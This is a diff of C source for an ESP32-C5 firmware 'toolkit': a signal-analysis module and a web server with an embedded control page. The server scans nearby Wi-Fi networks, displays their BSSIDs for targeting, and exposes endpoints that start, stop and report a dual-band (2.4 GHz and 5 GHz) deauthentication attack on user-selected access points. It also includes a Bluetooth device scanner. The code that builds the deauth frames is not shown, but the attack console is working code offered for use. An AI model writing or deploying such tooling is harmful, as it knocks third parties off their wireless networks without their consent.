|
||||
}
|
||||
|
||||
if (signal_mutex == NULL) {
|
||||
signal_mutex = xSemaphoreCreateMutex();
|
||||
if (signal_mutex == NULL) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(signal_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return;
|
||||
}
|
||||
|
||||
channel_data_t *ch = &channel_stats[channel - 1];
|
||||
ch->channel = channel;
|
||||
ch->packet_count++;
|
||||
ch->rssi = (ch->rssi + rssi) / 2; // Average RSSI
|
||||
ch->timestamp = (uint32_t)(esp_timer_get_time() / 1000000ULL);
|
||||
|
||||
xSemaphoreGive(signal_mutex);
|
||||
}
|
||||
|
||||
int signal_get_channel_utilization(channel_data_t *data, int max_channels) {
|
||||
if (signal_mutex == NULL || data == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(signal_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int count = 0;
|
||||
for (int i = 0; i < MAX_CHANNELS && count < max_channels; i++) {
|
||||
if (channel_stats[i].packet_count > 0) {
|
||||
data[count++] = channel_stats[i];
|
||||
}
|
||||
}
|
||||
|
||||
xSemaphoreGive(signal_mutex);
|
||||
return count;
|
||||
}
|
||||
|
||||
int signal_get_rssi_history(uint8_t *bssid, int8_t *rssi_history, uint32_t *timestamps, int max_samples) {
|
||||
if (signal_mutex == NULL || bssid == NULL || rssi_history == NULL || timestamps == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(signal_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Find tracker for this BSSID
|
||||
rssi_tracker_t *tracker = NULL;
|
||||
for (int i = 0; i < tracker_count; i++) {
|
||||
if (memcmp(rssi_trackers[i].bssid, bssid, 6) == 0) {
|
||||
tracker = &rssi_trackers[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!tracker) {
|
||||
xSemaphoreGive(signal_mutex);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int samples = (tracker->count < max_samples) ? tracker->count : max_samples;
|
||||
for (int i = 0; i < samples; i++) {
|
||||
int idx = (tracker->head - tracker->count + i + MAX_HISTORY) % MAX_HISTORY;
|
||||
rssi_history[i] = tracker->rssi_history[idx];
|
||||
timestamps[i] = tracker->timestamps[idx];
|
||||
}
|
||||
|
||||
xSemaphoreGive(signal_mutex);
|
||||
return samples;
|
||||
}
|
||||
42
ESP32-C5-Toolkit/main/signal_analysis.h
Normal file
42
ESP32-C5-Toolkit/main/signal_analysis.h
Normal file
@@ -0,0 +1,42 @@
|
||||
#ifndef SIGNAL_ANALYSIS_H
|
||||
#define SIGNAL_ANALYSIS_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// Signal analysis data structure
|
||||
typedef struct {
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
uint32_t packet_count;
|
||||
uint32_t timestamp;
|
||||
} channel_data_t;
|
||||
|
||||
/**
|
||||
* @brief Get channel utilization data
|
||||
*
|
||||
* @param data Output array for channel data
|
||||
* @param max_channels Maximum number of channels
|
||||
* @return Number of channels with data
|
||||
*/
|
||||
int signal_get_channel_utilization(channel_data_t *data, int max_channels);
|
||||
|
||||
/**
|
||||
* @brief Get signal strength over time for a specific network
|
||||
*
|
||||
* @param bssid Target BSSID (6 bytes)
|
||||
* @param rssi_history Output array for RSSI values
|
||||
* @param timestamps Output array for timestamps
|
||||
* @param max_samples Maximum number of samples
|
||||
* @return Number of samples
|
||||
*/
|
||||
int signal_get_rssi_history(uint8_t *bssid, int8_t *rssi_history, uint32_t *timestamps, int max_samples);
|
||||
|
||||
/**
|
||||
* @brief Update signal analysis with new packet data
|
||||
*
|
||||
* @param channel Channel number
|
||||
* @param rssi RSSI value
|
||||
*/
|
||||
void signal_update_packet(uint8_t channel, int8_t rssi);
|
||||
|
||||
#endif /* SIGNAL_ANALYSIS_H */
|
||||
666
ESP32-C5-Toolkit/main/simple_web_server.c
Normal file
666
ESP32-C5-Toolkit/main/simple_web_server.c
Normal file
@@ -0,0 +1,666 @@
|
||||
/**
|
||||
* @file simple_web_server.c
|
||||
* @brief ESP32-C5 Toolkit Web Server with Dual-Band Deauth
|
||||
*
|
||||
* Features:
|
||||
* - Multi-target selection (2.4GHz + 5GHz)
|
||||
* - Real dual-band deauth attack
|
||||
* - BSSID display for proper targeting
|
||||
*/
|
||||
|
||||
#include "esp_http_server.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_chip_info.h"
|
||||
#include "esp_mac.h"
|
||||
#include "cJSON.h"
|
||||
#include "deauth_engine.h"
|
||||
#include "bt_scanner.h"
|
||||
#include "driver/temperature_sensor.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// Temperature sensor handle
|
||||
static temperature_sensor_handle_t temp_sensor = NULL;
|
||||
|
||||
#define TAG "WebServer"
|
||||
|
||||
// Store last scan results for target selection
|
||||
static wifi_ap_record_t scan_results[30];
|
||||
static uint16_t scan_count = 0;
|
||||
|
||||
// Forward declare HTML
|
||||
static const char* get_index_html(void);
|
||||
|
||||
// ============================================================================
|
||||
// HANDLERS
|
||||
// ============================================================================
|
||||
|
||||
static esp_err_t root_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Serving index.html");
|
||||
const char* html = get_index_html();
|
||||
httpd_resp_set_type(req, "text/html");
|
||||
httpd_resp_send(req, html, strlen(html));
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// Enhanced scan with BSSID and security
|
||||
static esp_err_t scan_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "WiFi scan requested");
|
||||
|
||||
wifi_scan_config_t scan_config = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time.active.min = 100,
|
||||
.scan_time.active.max = 300
|
||||
};
|
||||
|
||||
esp_wifi_scan_start(&scan_config, true);
|
||||
|
||||
scan_count = 30;
|
||||
esp_wifi_scan_get_ap_records(&scan_count, scan_results);
|
||||
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON *networks = cJSON_CreateArray();
|
||||
|
||||
for (int i = 0; i < scan_count; i++) {
|
||||
cJSON *ap = cJSON_CreateObject();
|
||||
|
||||
// SSID
|
||||
cJSON_AddStringToObject(ap, "ssid", (char*)scan_results[i].ssid);
|
||||
|
||||
// BSSID as string
|
||||
char bssid[18];
|
||||
snprintf(bssid, sizeof(bssid), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
scan_results[i].bssid[0], scan_results[i].bssid[1],
|
||||
scan_results[i].bssid[2], scan_results[i].bssid[3],
|
||||
scan_results[i].bssid[4], scan_results[i].bssid[5]);
|
||||
cJSON_AddStringToObject(ap, "bssid", bssid);
|
||||
|
||||
cJSON_AddNumberToObject(ap, "rssi", scan_results[i].rssi);
|
||||
cJSON_AddNumberToObject(ap, "channel", scan_results[i].primary);
|
||||
cJSON_AddStringToObject(ap, "band", scan_results[i].primary > 14 ? "5GHz" : "2.4GHz");
|
||||
|
||||
// Security
|
||||
const char* security;
|
||||
switch (scan_results[i].authmode) {
|
||||
case WIFI_AUTH_OPEN: security = "Open"; break;
|
||||
case WIFI_AUTH_WEP: security = "WEP"; break;
|
||||
case WIFI_AUTH_WPA_PSK: security = "WPA"; break;
|
||||
case WIFI_AUTH_WPA2_PSK: security = "WPA2"; break;
|
||||
case WIFI_AUTH_WPA_WPA2_PSK: security = "WPA/WPA2"; break;
|
||||
case WIFI_AUTH_WPA3_PSK: security = "WPA3"; break;
|
||||
case WIFI_AUTH_WPA2_WPA3_PSK: security = "WPA2/WPA3"; break;
|
||||
default: security = "Unknown";
|
||||
}
|
||||
cJSON_AddStringToObject(ap, "security", security);
|
||||
cJSON_AddNumberToObject(ap, "index", i);
|
||||
|
||||
cJSON_AddItemToArray(networks, ap);
|
||||
}
|
||||
|
||||
cJSON_AddItemToObject(root, "networks", networks);
|
||||
cJSON_AddNumberToObject(root, "count", scan_count);
|
||||
|
||||
char *json_str = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json_str, strlen(json_str));
|
||||
|
||||
free(json_str);
|
||||
cJSON_Delete(root);
|
||||
|
||||
ESP_LOGI(TAG, "Found %d networks", scan_count);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// System info with attack status and ESP32-C5 features
|
||||
static esp_err_t sysinfo_handler(httpd_req_t *req) {
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
|
||||
// Chip info
|
||||
esp_chip_info_t chip_info;
|
||||
esp_chip_info(&chip_info);
|
||||
cJSON_AddStringToObject(root, "chip", "ESP32-C5");
|
||||
cJSON_AddNumberToObject(root, "cores", chip_info.cores);
|
||||
cJSON_AddNumberToObject(root, "revision", chip_info.revision);
|
||||
|
||||
// Memory
|
||||
cJSON_AddNumberToObject(root, "heap", esp_get_free_heap_size());
|
||||
cJSON_AddNumberToObject(root, "min_heap", esp_get_minimum_free_heap_size());
|
||||
|
||||
// Temperature sensor
|
||||
float temp_celsius = 0;
|
||||
if (temp_sensor == NULL) {
|
||||
temperature_sensor_config_t temp_config = TEMPERATURE_SENSOR_CONFIG_DEFAULT(-10, 80);
|
||||
temperature_sensor_install(&temp_config, &temp_sensor);
|
||||
}
|
||||
if (temp_sensor) {
|
||||
temperature_sensor_enable(temp_sensor);
|
||||
temperature_sensor_get_celsius(temp_sensor, &temp_celsius);
|
||||
temperature_sensor_disable(temp_sensor);
|
||||
}
|
||||
cJSON_AddNumberToObject(root, "temp", (int)(temp_celsius * 10) / 10.0);
|
||||
|
||||
// MAC address
|
||||
uint8_t mac[6];
|
||||
esp_read_mac(mac, ESP_MAC_WIFI_STA);
|
||||
char mac_str[18];
|
||||
snprintf(mac_str, sizeof(mac_str), "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
cJSON_AddStringToObject(root, "mac", mac_str);
|
||||
|
||||
// Features
|
||||
cJSON_AddStringToObject(root, "features", "WiFi6,BLE5,Thread");
|
||||
cJSON_AddStringToObject(root, "version", "2.0.0");
|
||||
cJSON_AddBoolToObject(root, "attacking", deauth_is_running());
|
||||
|
||||
// Get attack stats if running
|
||||
if (deauth_is_running()) {
|
||||
uint32_t total, p24, p5, elapsed;
|
||||
deauth_get_stats(&total, &p24, &p5, &elapsed);
|
||||
cJSON_AddNumberToObject(root, "packets_total", total);
|
||||
cJSON_AddNumberToObject(root, "packets_24ghz", p24);
|
||||
cJSON_AddNumberToObject(root, "packets_5ghz", p5);
|
||||
cJSON_AddNumberToObject(root, "elapsed", elapsed);
|
||||
}
|
||||
|
||||
char *json_str = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json_str, strlen(json_str));
|
||||
|
||||
free(json_str);
|
||||
cJSON_Delete(root);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// REAL deauth start - parses JSON with targets
|
||||
static esp_err_t deauth_start_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Deauth start requested");
|
||||
|
||||
// Read POST body
|
||||
char buf[512];
|
||||
int ret = httpd_req_recv(req, buf, sizeof(buf) - 1);
|
||||
if (ret <= 0) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"No data\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
buf[ret] = '\0';
|
||||
|
||||
ESP_LOGI(TAG, "Received: %s", buf);
|
||||
|
||||
cJSON *root = cJSON_Parse(buf);
|
||||
if (!root) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Invalid JSON\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
deauth_target_t target_24 = {0};
|
||||
deauth_target_t target_5 = {0};
|
||||
|
||||
// Parse 2.4GHz target
|
||||
cJSON *t24 = cJSON_GetObjectItem(root, "target_24ghz");
|
||||
if (t24) {
|
||||
cJSON *bssid = cJSON_GetObjectItem(t24, "bssid");
|
||||
cJSON *ssid = cJSON_GetObjectItem(t24, "ssid");
|
||||
cJSON *channel = cJSON_GetObjectItem(t24, "channel");
|
||||
|
||||
if (cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
|
||||
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_24.bssid[0], &target_24.bssid[1], &target_24.bssid[2],
|
||||
&target_24.bssid[3], &target_24.bssid[4], &target_24.bssid[5]);
|
||||
target_24.channel = (uint8_t)channel->valueint;
|
||||
if (cJSON_IsString(ssid)) {
|
||||
strncpy(target_24.ssid, ssid->valuestring, sizeof(target_24.ssid) - 1);
|
||||
}
|
||||
target_24.active = true;
|
||||
ESP_LOGI(TAG, "2.4GHz target: %s CH:%d", target_24.ssid, target_24.channel);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse 5GHz target
|
||||
cJSON *t5 = cJSON_GetObjectItem(root, "target_5ghz");
|
||||
if (t5) {
|
||||
cJSON *bssid = cJSON_GetObjectItem(t5, "bssid");
|
||||
cJSON *ssid = cJSON_GetObjectItem(t5, "ssid");
|
||||
cJSON *channel = cJSON_GetObjectItem(t5, "channel");
|
||||
|
||||
if (cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
|
||||
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_5.bssid[0], &target_5.bssid[1], &target_5.bssid[2],
|
||||
&target_5.bssid[3], &target_5.bssid[4], &target_5.bssid[5]);
|
||||
target_5.channel = (uint8_t)channel->valueint;
|
||||
if (cJSON_IsString(ssid)) {
|
||||
strncpy(target_5.ssid, ssid->valuestring, sizeof(target_5.ssid) - 1);
|
||||
}
|
||||
target_5.active = true;
|
||||
ESP_LOGI(TAG, "5GHz target: %s CH:%d", target_5.ssid, target_5.channel);
|
||||
}
|
||||
}
|
||||
|
||||
// Get duration (default 30 seconds)
|
||||
cJSON *dur = cJSON_GetObjectItem(root, "duration");
|
||||
uint32_t duration = cJSON_IsNumber(dur) ? dur->valueint : 30;
|
||||
|
||||
cJSON_Delete(root);
|
||||
|
||||
// Start the REAL attack
|
||||
bool success = deauth_start_attack(
|
||||
target_24.active ? &target_24 : NULL,
|
||||
target_5.active ? &target_5 : NULL,
|
||||
duration
|
||||
);
|
||||
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
if (success) {
|
||||
ESP_LOGI(TAG, "Attack started for %lu seconds", duration);
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack started\"}");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "Failed to start attack");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start - check targets\"}");
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// Stop attack
|
||||
static esp_err_t deauth_stop_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Deauth stop requested");
|
||||
deauth_stop_attack();
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack stopped\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// Attack status endpoint
|
||||
static esp_err_t deauth_status_handler(httpd_req_t *req) {
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
|
||||
bool running = deauth_is_running();
|
||||
cJSON_AddBoolToObject(root, "running", running);
|
||||
|
||||
if (running) {
|
||||
uint32_t total, p24, p5, elapsed;
|
||||
deauth_get_stats(&total, &p24, &p5, &elapsed);
|
||||
cJSON_AddNumberToObject(root, "packets_total", total);
|
||||
cJSON_AddNumberToObject(root, "packets_24ghz", p24);
|
||||
cJSON_AddNumberToObject(root, "packets_5ghz", p5);
|
||||
cJSON_AddNumberToObject(root, "elapsed", elapsed);
|
||||
}
|
||||
|
||||
char *json_str = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json_str, strlen(json_str));
|
||||
|
||||
free(json_str);
|
||||
cJSON_Delete(root);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// Bluetooth scan start (NimBLE)
|
||||
static esp_err_t bt_scan_start_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "BLE scan start requested");
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
|
||||
bool success = bt_scan_start();
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"BLE scan started\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start BLE scan\"}");
|
||||
}
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// Bluetooth scan stop
|
||||
static esp_err_t bt_scan_stop_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "BLE scan stop requested");
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
|
||||
bool success = bt_scan_stop();
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"BLE scan stopped\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to stop BLE scan\"}");
|
||||
}
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// Bluetooth devices list
|
||||
static esp_err_t bt_devices_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "BLE devices requested");
|
||||
|
||||
bt_device_t bt_devs[30];
|
||||
int count = bt_get_devices(bt_devs, 30);
|
||||
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON *device_array = cJSON_CreateArray();
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
cJSON *dev = cJSON_CreateObject();
|
||||
|
||||
// MAC address
|
||||
char addr[18];
|
||||
snprintf(addr, sizeof(addr), "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
bt_devs[i].addr[0], bt_devs[i].addr[1],
|
||||
bt_devs[i].addr[2], bt_devs[i].addr[3],
|
||||
bt_devs[i].addr[4], bt_devs[i].addr[5]);
|
||||
cJSON_AddStringToObject(dev, "addr", addr);
|
||||
cJSON_AddStringToObject(dev, "name", bt_devs[i].name[0] ? bt_devs[i].name : "Unknown");
|
||||
cJSON_AddNumberToObject(dev, "rssi", bt_devs[i].rssi);
|
||||
cJSON_AddStringToObject(dev, "type", "BLE");
|
||||
|
||||
cJSON_AddItemToArray(device_array, dev);
|
||||
}
|
||||
|
||||
cJSON_AddItemToObject(root, "devices", device_array);
|
||||
cJSON_AddNumberToObject(root, "count", count);
|
||||
|
||||
char *json_str = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json_str, strlen(json_str));
|
||||
free(json_str);
|
||||
cJSON_Delete(root);
|
||||
|
||||
ESP_LOGI(TAG, "Returned %d BLE devices", count);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// URI DEFINITIONS
|
||||
// ============================================================================
|
||||
|
||||
static httpd_uri_t uri_root = {.uri = "/", .method = HTTP_GET, .handler = root_handler};
|
||||
static httpd_uri_t uri_scan = {.uri = "/api/scan", .method = HTTP_GET, .handler = scan_handler};
|
||||
static httpd_uri_t uri_sysinfo = {.uri = "/api/system-info", .method = HTTP_GET, .handler = sysinfo_handler};
|
||||
static httpd_uri_t uri_deauth_start = {.uri = "/api/deauth/start", .method = HTTP_POST, .handler = deauth_start_handler};
|
||||
static httpd_uri_t uri_deauth_stop = {.uri = "/api/deauth/stop", .method = HTTP_GET, .handler = deauth_stop_handler};
|
||||
static httpd_uri_t uri_deauth_status = {.uri = "/api/deauth/status", .method = HTTP_GET, .handler = deauth_status_handler};
|
||||
static httpd_uri_t uri_bt_scan_start = {.uri = "/api/bt/scan/start", .method = HTTP_GET, .handler = bt_scan_start_handler};
|
||||
static httpd_uri_t uri_bt_scan_stop = {.uri = "/api/bt/scan/stop", .method = HTTP_GET, .handler = bt_scan_stop_handler};
|
||||
static httpd_uri_t uri_bt_devices = {.uri = "/api/bt/devices", .method = HTTP_GET, .handler = bt_devices_handler};
|
||||
|
||||
// ============================================================================
|
||||
// WEB SERVER
|
||||
// ============================================================================
|
||||
|
||||
static httpd_handle_t server = NULL;
|
||||
|
||||
httpd_handle_t start_webserver(void) {
|
||||
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
|
||||
config.stack_size = 8192;
|
||||
config.max_uri_handlers = 15;
|
||||
|
||||
ESP_LOGI(TAG, "Starting web server on port %d", config.server_port);
|
||||
|
||||
if (httpd_start(&server, &config) == ESP_OK) {
|
||||
httpd_register_uri_handler(server, &uri_root);
|
||||
httpd_register_uri_handler(server, &uri_scan);
|
||||
httpd_register_uri_handler(server, &uri_sysinfo);
|
||||
httpd_register_uri_handler(server, &uri_deauth_start);
|
||||
httpd_register_uri_handler(server, &uri_deauth_stop);
|
||||
httpd_register_uri_handler(server, &uri_deauth_status);
|
||||
httpd_register_uri_handler(server, &uri_bt_scan_start);
|
||||
httpd_register_uri_handler(server, &uri_bt_scan_stop);
|
||||
httpd_register_uri_handler(server, &uri_bt_devices);
|
||||
|
||||
ESP_LOGI(TAG, "Web Server started at http://192.168.4.1");
|
||||
} else {
|
||||
ESP_LOGE(TAG, "Failed to start web server!");
|
||||
}
|
||||
|
||||
return server;
|
||||
}
|
||||
|
||||
void stop_webserver(void) {
|
||||
if (server) {
|
||||
httpd_stop(server);
|
||||
server = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void init_web_server(void) {
|
||||
start_webserver();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HTML - Multi-target selection with Channel Graph
|
||||
// ============================================================================
|
||||
|
||||
static const char* get_index_html(void) {
|
||||
static const char html[] =
|
||||
"<!DOCTYPE html>"
|
||||
"<html><head>"
|
||||
"<meta charset='UTF-8'>"
|
||||
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>"
|
||||
"<title>ESP32-C5 Toolkit</title>"
|
||||
"<style>"
|
||||
"*{margin:0;padding:0;box-sizing:border-box}"
|
||||
"body{font-family:'Courier New',monospace;background:#0a0a0a;color:#0f0;padding:15px}"
|
||||
"h1{text-align:center;margin-bottom:15px;text-shadow:0 0 10px #0f0}"
|
||||
"h3{margin:10px 0 5px;color:#0f0}"
|
||||
".container{max-width:900px;margin:0 auto}"
|
||||
".panel{background:#111;border:1px solid #0f0;padding:15px;margin:10px 0;border-radius:5px}"
|
||||
".btn{background:#0f0;color:#000;border:none;padding:8px 15px;cursor:pointer;font-family:inherit;margin:3px;border-radius:3px;font-weight:bold}"
|
||||
".btn:hover{background:#0c0}"
|
||||
".btn-danger{background:#f00;color:#fff}"
|
||||
".btn-danger:hover{background:#c00}"
|
||||
".btn-warn{background:#f80;color:#000}"
|
||||
"#networks{max-height:250px;overflow-y:auto}"
|
||||
".network{padding:8px;border:1px solid #333;margin:3px 0;cursor:pointer;font-size:0.9em}"
|
||||
".network:hover{border-color:#0f0}"
|
||||
".network.selected-24{background:#003;border-color:#08f}"
|
||||
".network.selected-5{background:#330;border-color:#f80}"
|
||||
".ssid{font-weight:bold}"
|
||||
".bssid{color:#888;font-size:0.85em}"
|
||||
".info{color:#888;font-size:0.85em}"
|
||||
".band-24{color:#08f}.band-5{color:#f80}"
|
||||
".targets{display:flex;gap:10px;flex-wrap:wrap;margin:10px 0}"
|
||||
".target-card{flex:1;min-width:200px;padding:10px;border-radius:5px}"
|
||||
".target-24{background:#002;border:2px solid #08f}"
|
||||
".target-5{background:#220;border:2px solid #f80}"
|
||||
".status{padding:10px;background:#001;border:1px solid #0f0;margin-top:10px}"
|
||||
".attack-running{color:#f00;animation:blink 1s infinite}"
|
||||
"@keyframes blink{50%{opacity:0.5}}"
|
||||
".warn{background:#220;border:1px solid #f80;padding:10px;margin:10px 0;color:#fa0}"
|
||||
"input[type=number]{background:#222;border:1px solid #0f0;color:#0f0;padding:5px;width:60px}"
|
||||
".channel-graph{display:flex;align-items:flex-end;height:60px;gap:2px;padding:5px 0;border-bottom:1px solid #333}"
|
||||
".channel-bar{flex:1;background:#0f0;min-width:12px;transition:height 0.3s;min-height:3px;border-radius:2px 2px 0 0}"
|
||||
".channel-bar:hover{background:#0ff}"
|
||||
".channel-label{text-align:center;font-size:0.7em;color:#888}"
|
||||
".bar-container{display:flex;flex-direction:column;align-items:center;flex:1}"
|
||||
".graph-section{margin:10px 0}"
|
||||
".graphs-container{display:flex;gap:15px;flex-wrap:wrap}"
|
||||
".graph-box{flex:1;min-width:280px}"
|
||||
"</style>"
|
||||
"</head><body>"
|
||||
"<div class='container'>"
|
||||
"<h1>📡 ESP32-C5 TOOLKIT</h1>"
|
||||
|
||||
"<div class='panel'>"
|
||||
"<h2>🔍 WiFi Scanner</h2>"
|
||||
"<button class='btn' onclick='scanNetworks()'>SCAN ALL BANDS</button>"
|
||||
"<span id='scan-status' style='margin-left:10px'></span>"
|
||||
"<div id='networks' style='margin-top:10px'></div>"
|
||||
"</div>"
|
||||
|
||||
"<div class='panel'>"
|
||||
"<h2>📶 Channel Usage</h2>"
|
||||
"<div class='graphs-container'>"
|
||||
"<div class='graph-box'>"
|
||||
"<h3 class='band-24'>2.4 GHz (CH 1-13)</h3>"
|
||||
"<div class='channel-graph' id='graph-24'></div>"
|
||||
"</div>"
|
||||
"<div class='graph-box'>"
|
||||
"<h3 class='band-5'>5 GHz</h3>"
|
||||
"<div class='channel-graph' id='graph-5'></div>"
|
||||
"</div>"
|
||||
"</div>"
|
||||
"</div>"
|
||||
|
||||
"<div class='panel'>"
|
||||
"<h2>⚡ Dual-Band Deauth</h2>"
|
||||
"<div class='warn'>⚠ WiFi AP offline during attack! Auto-restores after.</div>"
|
||||
"<p>Click networks to select targets:</p>"
|
||||
"<div class='targets'>"
|
||||
"<div class='target-card target-24'>2.4GHz: <span id='t24-name'>None</span></div>"
|
||||
"<div class='target-card target-5'>5GHz: <span id='t5-name'>None</span></div>"
|
||||
"</div>"
|
||||
"<p>Duration: <input type='number' id='duration' value='30' min='10' max='300'> sec</p>"
|
||||
"<button class='btn btn-danger' onclick='startDeauth()'>⚡ START</button>"
|
||||
"<button class='btn' onclick='stopDeauth()'>STOP</button>"
|
||||
"<button class='btn btn-warn' onclick='clearTargets()'>CLEAR</button>"
|
||||
"<div class='status' id='deauth-status'>Status: Idle</div>"
|
||||
"</div>"
|
||||
|
||||
"<div class='panel'>"
|
||||
"<h2>📶 Bluetooth Scanner</h2>"
|
||||
"<button class='btn' onclick='startBtScan()'>START BT SCAN</button>"
|
||||
"<button class='btn' onclick='stopBtScan()'>STOP SCAN</button>"
|
||||
"<span id='bt-scan-status' style='margin-left:10px'></span>"
|
||||
"<div id='bt-devices' style='margin-top:10px;max-height:200px;overflow-y:auto'></div>"
|
||||
"</div>"
|
||||
|
||||
"<div class='panel'>"
|
||||
"<h2>💻 System</h2>"
|
||||
"<div id='sysinfo'>Loading...</div>"
|
||||
"</div>"
|
||||
|
||||
"</div>"
|
||||
|
||||
"<script>"
|
||||
"let networks=[];"
|
||||
"let target24=null,target5=null;"
|
||||
"const ch5list=[36,40,44,48,149,153,157,161,165];"
|
||||
|
||||
"function initGraphs(){"
|
||||
"let h24='';for(let i=1;i<=13;i++)h24+='<div class=\"bar-container\"><div class=\"channel-bar\" id=\"b24-'+i+'\" style=\"height:2px;background:#0f0\"></div><div class=\"channel-label\">'+i+'</div></div>';"
|
||||
"document.getElementById('graph-24').innerHTML=h24;"
|
||||
"let h5='';ch5list.forEach(c=>h5+='<div class=\"bar-container\"><div class=\"channel-bar\" id=\"b5-'+c+'\" style=\"height:2px;background:#0f0\"></div><div class=\"channel-label\">'+c+'</div></div>');"
|
||||
"document.getElementById('graph-5').innerHTML=h5;}"
|
||||
|
||||
"function updateChannelGraph(networks){"
|
||||
"let ch24=Array(14).fill(0);"
|
||||
"let ch5={36:0,40:0,44:0,48:0,149:0,153:0,157:0,161:0,165:0};"
|
||||
"networks.forEach(n=>{"
|
||||
"if(n.channel<=13)ch24[n.channel]++;"
|
||||
"else if(ch5[n.channel]!==undefined)ch5[n.channel]++;"
|
||||
"});"
|
||||
"let max24=Math.max(...ch24,1);"
|
||||
"for(let i=1;i<=13;i++){"
|
||||
"let count=ch24[i];"
|
||||
"let h=count>0?Math.max(8,Math.round((count/max24)*55)):3;"
|
||||
"let bar=document.getElementById('b24-'+i);"
|
||||
"if(bar){"
|
||||
"bar.style.height=h+'px';"
|
||||
"bar.title='CH'+i+': '+count+' networks';"
|
||||
"bar.style.background=count===0?'#0a0':count<=2?'#0f0':count<=4?'#ff0':'#f00';"
|
||||
"}"
|
||||
"}"
|
||||
"let max5=Math.max(...Object.values(ch5),1);"
|
||||
"ch5list.forEach(c=>{"
|
||||
"let count=ch5[c]||0;"
|
||||
"let h=count>0?Math.max(8,Math.round((count/max5)*55)):3;"
|
||||
"let bar=document.getElementById('b5-'+c);"
|
||||
"if(bar){"
|
||||
"bar.style.height=h+'px';"
|
||||
"bar.title='CH'+c+': '+count+' networks';"
|
||||
"bar.style.background=count===0?'#0a0':count<=2?'#0f0':count<=4?'#ff0':'#f00';"
|
||||
"}"
|
||||
"});"
|
||||
"}"
|
||||
|
||||
